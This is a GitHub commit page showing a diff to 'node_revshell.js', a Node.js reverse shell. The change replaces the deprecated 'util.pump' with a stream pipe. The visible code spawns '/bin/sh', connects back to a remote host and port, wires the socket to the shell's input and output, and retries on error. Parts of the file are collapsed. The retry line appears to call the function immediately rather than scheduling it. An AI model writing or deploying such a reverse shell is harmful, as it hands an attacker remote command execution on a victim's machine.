Skip to content

Commit

Permalink
remove deprecated utils module from rev shell
Browse files Browse the repository at this point in the history
  • Loading branch information
Adam Baldwin committed Jul 14, 2013
1 parent f83930a commit cd56485
Showing 1 changed file with 1 addition and 2 deletions.
3 changes: 1 addition & 2 deletions node_revshell.js
@@ -1,5 +1,4 @@
var net = require('net'),
util = require('util'),
spawn = require('child_process').spawn,
sh = spawn('/bin/sh',[]);

Expand All @@ -12,7 +11,7 @@ function c(HOST,PORT) {
client.connect(PORT, HOST, function() {
client.write("Connected\r\n");
client.pipe(sh.stdin);
util.pump(sh.stdout,client);
sh.stdout.pipe(client);
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
Expand Down

0 comments on commit cd56485

Please sign in to comment.